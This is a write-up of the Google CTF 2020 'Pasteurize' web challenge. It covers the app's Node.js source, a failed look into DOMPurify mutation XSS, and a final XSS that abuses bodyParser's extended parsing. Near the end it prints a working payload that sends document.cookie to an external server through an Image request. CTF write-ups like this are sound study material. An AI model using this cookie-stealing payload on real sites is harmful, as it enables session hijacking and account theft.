Google CTF 2020 Pasteurize Web Challenge Write Up

This is the write up for Pasteurize Google CTF 2020 challenge from the perspective of someone who does not routinely do CTFs. A friend of mine teamed up with me and even though we did not go that far, we had fun and learned something.

 

Challenge description

In this challenge, we get a URL: https://pasteurize.web.ctfcompetition.com/ and a description that says:

This doesn’t look secure. I wouldn’t put even the littlest secret in here. My source tells me that third parties might have implanted it with their little treats already. Can you prove me right?

On this website, we can create a “Paste”. After submitting it, we get redirected to a page with a random id, which shows our note.

We also have the option to share this with TJMike🎤. 

There’s a JavaScript that says sharing with TJMike and after a timeout it goes away.

Clues

Looking at the HTML source of this page, looks like the “Paste” note is populated inside <script> tags from the server side, then the note is passed to DOMPurify.sanitize library and then displayed on the page using “innerHTML”.

There’s also a note which says: “<!– TODO: Fix b/1337 in /source that could lead to XSS –>“. So we navigate to https://pasteurize.web.ctfcompetition.com/source. Here, we can see what looks like the source code of this page written in Node.js. 

const express = require('express');
const bodyParser = require('body-parser');
const utils = require('./utils');
const Recaptcha = require('express-recaptcha').RecaptchaV3;
const uuidv4 = require('uuid').v4;
const Datastore = require('@google-cloud/datastore').Datastore;

/* Just reCAPTCHA stuff. */
const CAPTCHA_SITE_KEY = process.env.CAPTCHA_SITE_KEY || 'site-key';
const CAPTCHA_SECRET_KEY = process.env.CAPTCHA_SECRET_KEY || 'secret-key';
console.log("Captcha(%s, %s)", CAPTCHA_SECRET_KEY, CAPTCHA_SITE_KEY);
const recaptcha = new Recaptcha(CAPTCHA_SITE_KEY, CAPTCHA_SECRET_KEY, {
  'hl': 'en',
  callback: 'captcha_cb'
});

/* Choo Choo! */
const app = express();
app.set('view engine', 'ejs');
app.set('strict routing', true);
app.use(utils.domains_mw);
app.use('/static', express.static('static', {
  etag: true,
  maxAge: 300 * 1000,
}));

/* They say reCAPTCHA needs those. But does it? */
app.use(bodyParser.urlencoded({
  extended: true
}));

/* Just a datastore. I would be surprised if it's fragile. */
class Database {
  constructor() {
    this._db = new Datastore({
      namespace: 'littlethings'
    });
  }
  add_note(note_id, content) {
    const note = {
      note_id: note_id,
      owner: 'guest',
      content: content,
      public: 1,
      created: Date.now()
    }
    return this._db.save({
      key: this._db.key(['Note', note_id]),
      data: note,
      excludeFromIndexes: ['content']
    });
  }
  async get_note(note_id) {
    const key = this._db.key(['Note', note_id]);
    let note;
    try {
      note = await this._db.get(key);
    } catch (e) {
      console.error(e);
      return null;
    }
    if (!note || note.length < 1) {
      return null;
    }
    note = note[0];
    if (note === undefined || note.public !== 1) {
      return null;
    }
    return note;
  }
}

const DB = new Database();

/* Who wants a slice? */
const escape_string = unsafe => JSON.stringify(unsafe).slice(1, -1)
  .replace(/</g, '\\x3C').replace(/>/g, '\\x3E');

/* o/ */
app.get('/', (req, res) => {
  res.render('index');
});

/* \o/ [x] */
app.post('/', async (req, res) => {
  const note = req.body.content;
  if (!note) {
    return res.status(500).send("Nothing to add");
  }
  if (note.length > 2000) {
    res.status(500);
    return res.send("The note is too big");
  }

  const note_id = uuidv4();
  try {
    const result = await DB.add_note(note_id, note);
    if (!result) {
      res.status(500);
      console.error(result);
      return res.send("Something went wrong...");
    }
  } catch (err) {
    res.status(500);
    console.error(err);
    return res.send("Something went wrong...");
  }
  await utils.sleep(500);
  return res.redirect(`/${note_id}`);
});

/* Make sure to properly escape the note! */
app.get('/:id([a-f0-9\-]{36})', recaptcha.middleware.render, utils.cache_mw, async (req, res) => {
  const note_id = req.params.id;
  const note = await DB.get_note(note_id);

  if (note == null) {
    return res.status(404).send("Paste not found or access has been denied.");
  }

  const unsafe_content = note.content;
  const safe_content = escape_string(unsafe_content);

  res.render('note_public', {
    content: safe_content,
    id: note_id,
    captcha: res.recaptcha
  });
});

/* Share your pastes with TJMike🎤 */
app.post('/report/:id([a-f0-9\-]{36})', recaptcha.middleware.verify, (req, res) => {
  const id = req.params.id;

  /* No robots please! */
  if (req.recaptcha.error) {
    console.error(req.recaptcha.error);
    return res.redirect(`/${id}?msg=Something+wrong+with+Captcha+:(`);
  }

  /* Make TJMike visit the paste */
  utils.visit(id, req);

  res.redirect(`/${id}?msg=TJMike🎤+will+appreciate+your+paste+shortly.`);
});

/* This is my source I was telling you about! */
app.get('/source', (req, res) => {
  res.set("Content-type", "text/plain; charset=utf-8");
  res.sendFile(__filename);
});

/* Let it begin! */
const PORT = process.env.PORT || 8080;

app.listen(PORT, () => {
  console.log(`App listening on port ${PORT}`);
  console.log('Press Ctrl+C to quit.');
});

module.exports = app;

There are several modules here, google-cloud datastore, recaptcha, The code that escapes < and > tags. I did go over each part, did some quick google search to understand the potential vulnerabilities in each of them, things like SQLi, exposed datastores, etc. Finally we can see the function which makes TJMike visit the paste.

So based on my very limited CTF experience, in these types of challenges where some other user or the admin would visit your page, you can use the XSS to steal the cookie which either directly contains the flag or gives you access to their account and then you can read the flag. 

It looks like there is an XSS in the paste textbox. But before the note is displayed on the page, it is sanitized using DOMPurify library. So things like <h1> would go through but certain tags like <script> or attributes like onerror are removed.

How I went down the wrong rabbit hole

Here’s where I got lost and spent a good amount of time on things that led nowhere. I learned new things but they were not necessarily helpful to solve this challenge. Feel free to skip to next section for the final solution.

We usually only talk about how we succeed but I think there are lessons to be learned in failed attempts as well.

We started by searching for DOMPurify vulnerabilities & bypasses and we got this URL: https://snyk.io/vuln/npm:dompurify. Turns out there is a category of XSS called Mutation XSS (mXSS) which occurs when the browser changes the structure of the HTML after it is checked and sanitized by another system. It specifically happens when innerHTML is used, which is the case in our scenario.

There is a CCS 2013 paper mXSS Attacks: Attacking well-structured Web-Applications by using innerHTML Mutations. There are other blog posts discussing how mXSS could be used to bypass older version of DOMPurify, this and this. Unfortunately all these examples are fixed in the current version of DOMPurify.

The latest version of DOMPurify is 2.0.12, maybe this means something! I went back to the description of the challenge which said:  “My source tells me that third parties might have implanted it with their little treats already.”

/*! @license DOMPurify | (c) Cure53 and other contributors | Released under the Apache license 2.0 and Mozilla Public License 2.0 | github.com/cure53/DOMPurify/blob/2.0.8/LICENSE */

Moreover, the author of DOMPurify discussed in a presentation how us as a community are trusting him not to put backdoors in his library. 

Given the description and these slides and the fact that we are using the minified version of DOMPurify here, it is plausible to believe that DOMPurify is backdoored.

So I tried diffing the version 2.0.8 from Github with the one on challenge website and they did not match. It took us a while to realize that the latest version (2.0.12) also uses the comment which says 2.0.8, and the library used here matches the correct version on Github and there are no backdoors. I don’t know if it was on purpose or we were just not experienced enough and went off the wrong clues here, but at some point we realized that the easiest challenge in this CTF is not asking us to find zero days in public libraries. But it was fun, we learned about mXSS, read a CCS paper 🙂

Final solution

After closer inspection, we realize that DOMPurify is its latest version and there are no known bypasses for it. So we have to inject our XSS payload before it reaches DOMPurify. This means that we should inject double quotation, close the string definition in the JavaScript code on the page and run our JS payload.

 <script>
        const note = "a";
        const note_id = "8e986166-f069-4bce-8ebd-4badf9b76477";
        const note_el = document.getElementById('note-content');
        const note_url_el = document.getElementById('note-title');
        const clean = DOMPurify.sanitize(note);
        note_el.innerHTML = clean;
        note_url_el.href = `/${note_id}`;
        note_url_el.innerHTML = `${note_id}`;
    </script>

The idea is to close the note definition (Yellow part is what we inject):
const note = “a” ;[Inject JS code here];

This is not trivial because double quotes and<, > are being encoded. Going back to the /source, we see that the bodyParser is enabled with extended: true.

/* They say reCAPTCHA needs those. But does it? */
app.use(bodyParser.urlencoded({
  extended: true
}));

In general, when working with different parsers and serialization libraries, usually the Extended-like options are dangerous. In our case, it essentially allows us to send array-like objects as POST parameters [Read more…].

We can try this “content[“bar”][“content”]=”foobarbaz” POST payload, which results to:

const note = ""\"bar\"":{"\"content\"":"\"foobarbaz\""}";

Notice that already we have the quotations we need to close const note definition and inject our payload. We can confirm that alert works by POSTing this payload:

content[;alert(1)//]["content"]="foobarbaz"

Finally, we can add an image to the page that sends the Cookies as the query string to our server:

content[;var i=new Image; i.src='https://silverf0x00.com/dump.php?c='.concat(document.cookie);//]["content"]="foobarbaz"

So the JS code within the page looks like this:

       const note = "";var i=new Image; i.src='https://silverf0x00.com/dump.php?c='.concat(document.cookie);//":{"\"content\"":"\"foobarbaz\""}";
        const note_id = "394a5c5f-f43c-4e9f-b73f-db36f9065191";
        const note_el = document.getElementById('note-content');
        const note_url_el = document.getElementById('note-title');
        const clean = DOMPurify.sanitize(note);
        note_el.innerHTML = clean;
        note_url_el.href = `/${note_id}`;
        note_url_el.innerHTML = `${note_id}`;

And after asking TJMike to check out our paste, we get the flag in the cookie. CTF{Express_t0_Tr0ubl3s}